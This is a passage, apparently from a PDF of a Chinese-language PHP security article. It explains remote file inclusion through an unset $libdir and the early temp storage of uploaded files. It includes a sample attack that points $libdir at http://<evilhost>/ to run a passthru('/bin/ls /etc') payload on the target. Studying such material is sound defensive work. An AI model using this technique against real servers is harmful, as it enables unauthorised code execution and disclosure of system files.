background image

这使得支持远程文件的 include(),require(),include_once()和 require_once()在上下文环境
中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照 PHP 代码解

 

释,主要是用在库文件上。

 

例如:
<?php 
include($libdir . "/languages.php"); 
?> 

上例中 $libdir”一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得
“$libdir”没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,
因为他们只能在他们指定的路径中访问文件 languages.php(perl

中的 Poison null byte”攻

击对 PHP 没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,
攻击者可以在某台服务器上放一个文件 languages.php

 

,包含如下内容:

<?php 
passthru("/bin/ls /etc"); 
?> 

然后把 $libdir”

设置为 http://<evilhost>/”,这样我们就可以在目标主机上执行上面的攻击

代码, /etc”

 

目录的内容作为结果返回到客户的浏览器中。

需要注意的是,攻击服务器(也就是 evilhost)应该不能执行 PHP 代码,否则攻击代码会
在攻击服务器,而不是目标服务器执行,如果你想了解具体的技术细节,请参考:
http://www.securereality.com.au/sradv00006.txt 

[文件上载] 
PHP 自动支持基于 RFC 1867

 

的文件上载,我们看下面的例子:

<FORM METHOD="POST" ENCTYPE="multipart/form-data"> 
<INPUT TYPE="FILE" NAME="hello"> 
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> 
<INPUT TYPE="SUBMIT"> 
</FORM> 

上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。
这显然是很有用的功能,但是 PHP 的响应方式使这项功能变的不安全。当 PHP 第一次接
到这种请求,甚至在它开始解析被调用的 PHP 代码之前,它会先接受远程用户的文件,

检查文件的长度是否超过 $MAX_FILE_SIZE variable”定义的值,如果通过这些测试的话,

 

文件就会被存在本地的一个临时目录中。

因此,攻击者可以发送任意文件给运行 PHP 的主机,在 PHP 程序还没有决定是否接受文

 

件上载时,文件已经被存在服务器上了。